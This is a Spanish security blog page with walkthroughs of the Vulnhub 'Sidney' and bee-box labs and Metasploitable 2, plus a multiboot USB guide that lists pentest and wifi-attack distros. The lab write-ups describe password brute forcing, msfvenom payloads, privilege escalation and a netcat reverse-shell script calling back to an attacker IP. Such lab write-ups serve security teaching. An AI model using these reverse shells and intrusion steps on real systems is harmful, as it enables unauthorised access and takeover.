Mostrando entradas con la etiqueta ubuntu. Mostrar todas las entradas
Mostrando entradas con la etiqueta ubuntu. Mostrar todas las entradas

jueves, 18 de agosto de 2016

Commodore64 Still Ready

Buenas a todos! CTF de Vulnhub

"Welcome to my third boot2root / CTF this one is called Sidney. The VM is set to grab a DHCP lease on boot. As before, gaining root is not the end of this VM. You will need to snag the flag, and being me, it's never where they normally live... B-) If you are having trouble with the NIC, make sure the adapter is set to use the MAC 00:0C:29:50:14:56 Some hints for you: If you are hitting a wall, read https://de.wikipedia.org/wiki/MOS_Technology_6502 The flag is audio as well as visual SHA1SUM: 114ABA151B77A028AA5CFDAE66D3AEC6EAF0751A sidney.ova Many thanks to Rasta_Mouse and GKNSB for testing this CTF. Special thanks and shout-outs go to GKNSB and Rasta_Mouse, hopefully he streams this one live too! Also a shout-out to g0tmi1k for #vulnhub and offering to host my third CTF."
 
 

Atención Spoiler!!

Primero comenzamos haciendo un descubrimiento de red y una vez localizado el objetivo simplemente haciendo un escaner para saber los puertos abiertos y sus servicios.
Ejecutaremos nikto para realizar un escaneo del sito web, detectando la versión del servidor, el tipo de CMS instalado, vulnerabilidades etc...
Ejecutamos dirb para ver los directorios del servidor Apache, usando el diccionario que nos encontramos en la carpeta de dirb llamado big.txt.
Damos con el directorio commodore64 muy interesante donde partiremos y encontraremos información muy valiosa en su codigo fuente.
En la descripcion de la máquina virtual y segun lo visto con el codigo fuente, debemos investigar sobre commodore 64. Ademas en el codigo fuente nos da posible un usuario y el patron usado en la contraseña es decir 3letras y 4 digitos sin espacios...algo en la wikipedia tenemos que encontrar.
Bien ahora tenemos dos opciones. Lo haremos con los dos metodos para obtener lo mismo.
Usaremos wireshark + hydra, y el otro metodo es hacer todo con burpsuite. 
Con wireshark realizaremos un login con el posible usuario y la pass vacía para poder capturar los paquetes.
Analizamos el protocolo HTTP con el metodo POST que es el que nos interesa, y en la capa de aplicacion Hypertext Transfer Protocol, vemos lo capturado en el paquete como por ejemplo la cookie de sesion, y el formulario de envio con el metodo POST para acceder al login cuyo name es el input_username en texto plano...Esto sera de gran importancia para realizar el ataque con burpsuite y con hydra.
Con burpsuite hacemos lo mismo, configuramos el proxy del navegador en localhost y realizamos de nuevo la peticion HTTP con el metodo POST del login y analizamos lo capturado con burp. Nos lo pinta mas bonito que wireshark, y se ve los tres campos name, y el usuario en texto plano de la peticion HTTP. 
Una vez obtenida la password ya sea con burpsuite o con hydra vamos a crear con msfvenom un payload en php reverse, para poder conseguir una sesion meterpreter y a su vez iniciaremos el metasploit para tener el listener a la escucha de la conexión entrante que se recibira.
Bien al crear el payload sino se pone el puerto, por defecto es el 4444, y en el multi/handler pusimos el 5555, por tanto debemos modificar el source del archivo php y cambiar el puerto. 

Hacemos una peticion HTTP con curl y recibiremos nuestra sesion meterpreter, con una shell reversa del servidor. 
Visulizamos el archivo etc/passwd. Y nos tendremos que fijar muy bien el tercer campo por la izquierda osea el User ID(UID). UID 0(reservado a root) y del 1-99 (reservado a otras cuentas de usuario).
Se hará sudo -l y veremos que un usuario en el cual nos logeamos, puede ejecutar cualquier comando como root. 
Bien una vez realizada la escalada de privilegios, nos dirijimos al directorio /root para poder capturar la bandera.
Al final del vídeo os muestro otra alternativa para poder conseguir escalar privilegios. Será a través de crontab y el uso de un exploit, por la versión particular de Ubuntu.


Espero que os sirva esta solución al CTF :)
Un saludo Naivenom

viernes, 12 de agosto de 2016

Pentesting a la abeja (Parte II)

Buenas hackers! En este CTF vamos a hacer un pentesting a esta maquina de Vulnhub
Es una maquina muy completa que permite realizar un test de intrusión al servidor, además de hacer retos de pentesting web tal como SQLi, XSS, LFI etc...



----------------
bee-box - README
----------------

bee-box is a custom Linux VM pre-installed with bWAPP.

With bee-box you have the opportunity to explore all bWAPP vulnerabilities!
bee-box gives you several ways to hack and deface the bWAPP website.
It's even possible to hack the bee-box to get root access...

This project is part of the ITSEC GAMES project. ITSEC GAMES are a fun approach to IT security education. 
IT security, ethical hacking, training and fun... all mixed together.
You can find more about the ITSEC GAMES and bWAPP projects on our blog.

We offer a 2-day comprehensive web security course 'Attacking & Defending Web Apps with bWAPP'.
This course can be scheduled on demand, at your location!
More info: http://goo.gl/ASuPa1 (pdf)

Enjoy!

Cheers

Malik Mesellem
Twitter: @MME_IT
 

Atención Spoiler!!

 
Usaremos hydra para poder obtener la contraseña atacando el servicio VNC por el puerto especificado, pero puede ser usado para muchos servicios; rdp, ftp, smtp, imap o telnet entre otros.
El servicio VNC, básicamente tiene una estructura servidor-cliente el cual permite tomar el control del servidor remotamente a través de un host cliente con un software especifico. Este softwarte es también denominado escritorio remoto.
El diccionario que usaremos sera rockyou disponible en Kali Linux, con el parametro -P por el puerto 5901 y la ip dada.
Una vez encontrado la contraseña, por cierto muy sencilla y usando una politica de contraseñas muy debil en la cual en todo momento cualquier persona o administrador de un sistema tiene que evitar.
En kali linux la herramienta vncviewer esta instalada por defecto.
 
Es mas interesante desde vncviewer conectarnos a nosotros, es decir a mi host mediante el uso de netcat:
Creamos el socket para hacer de servidor y estar a la escucha de peticiones con el parametro -l y un puerto determinado.
Desde el vncviewer hacemos la conexión al puerto especificado y la IP determinada, con un interprete bash de linux.
Obtendremos la shell de root gracias a nc por el puerto especifico. Ahora se ejecuta una serie de comandos y mediante una sentencia en python obtenemos un entorno pseudo terminal importando el modulo pty indicando la ruta del interprete de bash.

Ejecutamos una serie de comandos desde root, el primero para encontrar archivos setuid.
Setuid: Son permisos de acceso que pueden asignarse a archivos o directorios en un sistema operativo basado en Unix.
Se utilizan principalmente para permitir a los usuarios del sistema ejecutar binarios con privilegios elevados temporalmente para realizar una tarea específica.
Esta propiedad es necesaria para que los usuarios normales puedan realizar tareas que requieran privilegios más altos que los que dispone un usuario común, por lo cual es muy interesante cuando tenemos acceso como usuario en un servidor y queremos ejecutar o modificar algun tipo de binario o archivo para poder escalar privilegios. En este caso no es necesario porque somos ya root, pero para otros vídeos de CTF que hice y haré, vereis de la importancia de localizarlos con:

find / -perm -4000 -o -perm -2000 -exec ls -ldb {} \;

También se verá John the Ripper para obtener en texto plano los hashes, del fichero /etc/shadow.


 Un saludo Naivenom


martes, 31 de mayo de 2016

Me lo llevo to en un USEBE




"Aiii amo, cuantas veces le he dicho que mas vale un Live USB que cualquier sistema instalado... que que??? que saque el USB?? si se dice así so paleto no USEBE!"

Buenas Haxors! Vengo a enseñaros que podemos tener siempre preparado un pendrive con varios sistemas operativos que correrán sin problema una vez arrancados desde el ... igualito que si estuvieran instalados en el pc de marras. Parece algo sencillo y trivial pero tener una herramienta así en el bolsillo realmente puede ser útil si se tiene acceso a algún ordenador o si el típico familiar necesita disponer de un ordenador rápido y el suyo esta escacharrado.

Para esto vamos a utilizar un par de programas RMPrep + EasyBoot (desde Windows) o MULTISYSTEM (Desde Ubuntu) y un pendrive ... cuanto mas grande mejor!

Algunos os preguntareis el porque tener varios ... pues porque no siempre vamos a querer hacer lo mismo en un PC. 


"El amo por ejemplo con poder abrir paginas de ovejas es feliz mientras que yo ... prefiero usar mi talento en otro sentido muajajjajaja cosas como ayudar a una bella y agradecida dama... (jijij sobre todo agradecida ;P )"



Estos famosos Live Usb se pueden hacer de 2 maneras

  • Live : Todo cambio que hagas sobre el sistema una vez cierras se borra.
"Para el amo lo mas útil ya que su asqueroso historial bovino queda eliminado... ayyy no me pegue que no le he llamado bobo que se dice así ovejil! ... pensándolo mejor si ... usted es mas bobo que un zapato."
  • Persistente: Todos los cambios que se hagan en el sistema quedan almacenados para la siguiente vez... algo que muchos sabréis que es bastante útil si maqueamos y modificamos el sistema para que luzca como queremos nosotros. Esto normalmente se hace instalando directamente el sistema operativo sobre el pendrive... cosa que en nuestro caso no va a ser posible. 

¿Que sistemas vamos a elegir?
Todo depende de que queramos hacer. Dado que entiendo que lo vais a usar para todo tipo de cosas... vamos a hacernos una navaja suiza en forma de USB.



  1. Un sistema operativo limpio y agradable al usuario ... para cuando a los mayores de la casa se les escacharra el pc pero necesitan para ayer que siga funcionando. Por ejemplo UBUNTU. 
  2. Un antivirus en Live CD: Muchas veces los antivirus normales no son suficiente para eliminar la porquería que se nos instala al visitar las paginas de dudosa reputación en la que ninguno nos metemos... jajaj "si amo las de ovejas tienen parásitos también". El problema viene en que estos virus se meten en el registro de Windows arrancando junto al sistema operativo... y esto los hace imposibles de eliminar a no ser que sea desde fuerao desde un antivirus de arranque, cosa que muchos AV traen ya de serie. Vamos a meter 3: AVAST, Panda Cloud Cleaner y Windows Defender.
  3. Sistema de Pentest : Cuantos no han querido instalar un sistema operativo para poder hacer cosas de hacking... pero a la vez no quieren machacar el Sistema original de su maquina?? pues aquí esta la solución!Por ejemplo KALI
  4. Instalador de Windows: Hay veces que por mas que lo intentes el sistema esta fastidiado del todo... y necesitas restaurar al menos los archivos de sistema.. que mejor que tener en el pendrive el sistema para poder usarlo en caso de necesidad. 
  5. Ophcrack : es un sistema que nos permite "recuperar" contraseñas de Windows cuando no nos acordamos de ellas... como nos podemos encontrar todo tipo de sistemas, bajaremos tanto la version XP como la version VISTA/7 
  6. ERD Commander: Un montón de herramientas que nos permiten trastear con los sistemas Windows 
  7. WifiSlax: Es una distro linux que ha sido diseñada para ataques wifi porque seamos serios... siempre vamos a "olvidarnos" de la clave de la wifi (Siii amo si el FLIFLI ejem...) 
  8. TAILS : Un sistema para la navegación anónima por internet... seamos serios cuando buscamos cosas que no debemos o que narices si no queremos que nos vigilen nuestras comunicaciones... por que no usarlo? Este sistema utiliza la red TOR para anonimizar de forma efectiva la conexión. 
  9. Hirens BOOT CD: es un mix de herramientas para todo tipo de sistemas, desde recuperadores de discos duros, antivirus.. hasta creadores de particiones e imágenes de disco y algo interesante un miniwindows bastante útil en algunos casos. 


"Como ve amo... pido USBs grandes porque meto muchas cosas útiles! no como usted... que los usa para meter ovejas en bikini... Marrano!! como ?? que ??? que le he dado una idea?? que igual ahora diversifica y se dedica también al tema porcino?? amo esta muy enfermo...."

En nuestro caso... no vamos a hacer ningún sistema de forma persistente dado que no nos interesa guardar grandes cambios dentro de los sistemas ya que queremos utilizarlos de la forma mas limpia posible. Para ello formatearemos el USB en formato FAT32 o FAT ya que de otra manera no nos va a hacer el proceso de forma correcta.

Utilizando EasyBoot


Easyboot es un programa que funciona bajo Windows, nos va a ayudar a montar el pendrive con los sistemas operativos que nos interese permitiéndonos crear un pequeño menú para su arranque que nos ayude a elegir el sistema que queremos utilizar en cada momento.



Utilizando MULTISYSTEM


Multisystem es un programa con interfaz gráfica (GUI) que nos permite crear Live USB de arranque con múltiples sistemas operativos, generando un menú para elegir el que queramos con su propio GRUB de linux (no es una pasada?). Esto lo haremos desde Ubuntu.


Tras estos pasos lo unico que queda por decir es que en el PC en el que queramos utilizarlo tenemos que cambiar el orden de arranque de los dispositivos en la BIOS (normalmente aparece al arrancar el PC abajo un pulsa F12 para elegir o F8 o Del) y elegir como dispositivo de arranque el USB para que nos lo coja y pueda funcionar.

Espero que os haya gustado y os sirva de ayuda ;P
Hasta la próxima chavales!
Nebu 

domingo, 21 de febrero de 2016

Guia Metasploitable 2: Parte 1

Hola amantes de la seguridad, ésta es la primera entrada, de varias, en las que veremos como explotar las diferentes vulnerabilidades de Metasploitable 2, con el fin de poner en práctica nuestros conocimientos en un entorno seguro.

Para los que no lo conozcáis, Metasploitable 2 es una distribución basada en Ubuntu, configurada intencionadamente con fallos de seguridad y puertos abiertos y asi tener un entorno seguro en el que practicar. Se puede descargar desde el siguiente enlace.

Por otro lado, utilizaremos Kali Linux 2 como máquina atacante.

Una vez descargado Metasploitable 2 y abierto mediante un software de virtualización como Vmware o VirtualBox, procederemos a pasarle un nmap para ver los puertos abiertos.



Como vemos, tenemos bastantes puertos abiertos para ir probando. Los iremos explotando en el mismo orden que aparecen en la captura.


PUERTO 21 VSFTPD  

En el puerto 21 tenemos corriendo vsftpd 2.3.4. Esta versión tiene un backdoor (puerta trasera) que se introdujo en el archivo vsftpd-2.3.4.tar.gz el 30 de Junio de 2011 y se retiró el 3 de Julio del mismo año después de que un usuario avisara al autor.

Para explotarlo, utilizaremos un exploit disponible en metasploit.



Aquí vemos una caputura de la shell obtenida con permisos root.


PUERTO 22 SSH 

 En el puerto 22 está corriendo OpenSSH 4.7p1. Si pasamos un escáner de vulnerabilidades como nessus u openvas, una de las vulnerabilidades nos indica que este servicio tiene los credenciales por defecto, siendo estos la palabra "user" tanto para el usuario como para la contraseña.



Asique aprovechamos ésta vulnerabilidad  para conectarnos. Una vez conectados, vamos a intentar obtener permisos root, para ello nos fijamos en la version del kernel de linux.



Al ser una versión antigua, existen exploits para escalar privilegios localmente. Vamos a usar el siguiente:


Descargamos el exoploit a nuestra máquina, para subirlo a la víctima, utilizaremos el apache. Metemos el archivo descargado en la carpeta /var/www/html/ y arrancamos apache. 


Ahora desde la consola con la conexión ssh, descargamos el exploit con el comando wget y lo compilamos.




El siguiente paso es ver el PID del proceso que utiliza la tarjeta de red para ejecutar nuestro exploit en el mismo proceso.


En este caso es el número 2701. Antes de ejecutar el exploit, vamos a crear un payload que conecte mediante netcat con nuestra máquina Kali cuando ejecutemos el exploit, obteniendo asi nuestra shell con privilegios root.

Creamos un archivo llamado "run" en la misma carpeta que el exploit con el siguiente contenido:

#!/bin/bash
/bin/netcat -e /bin/bash 192.168.0.190 4444

Ponemos la ip de Kali y el puerto que queramos.

Lo siguiente es abrir una nueva terminal en Kali y poner el netcat a la escucha en el mismo puerto que pusimos anteriormente en el payload: nc -l -p 4444.

Ya tenemos todo preparado, solo falta ejecutar el exploit (en el proceso 2701): ./8572 2701


Aquí tenemos una captura de la shell obtenida con privilegios root.


PUERTO 23 TELNET

Este puerto no tiene misterio ninguno puesto que nada mas conectarnos, nos aparece el siguiente mensaje.



Nos dice usuario y contraseña para el login, además el usuario msfadmin tiene permisos root asique no hay nada mas que hacer.



PUERTO 25 SMTP

Esta vez vamos a utilizar un auxiliar de metasploit para obtener nombres de usuario.





No podemos hacer mucho mas en este puerto. 


Hasta aquí la primera entrega, espero os guste y sea de ayuda. Recordar que está hecho solo con fines educativos y en un entorno controlado, no nos hacemos responsables de su mal uso.

Google Analytics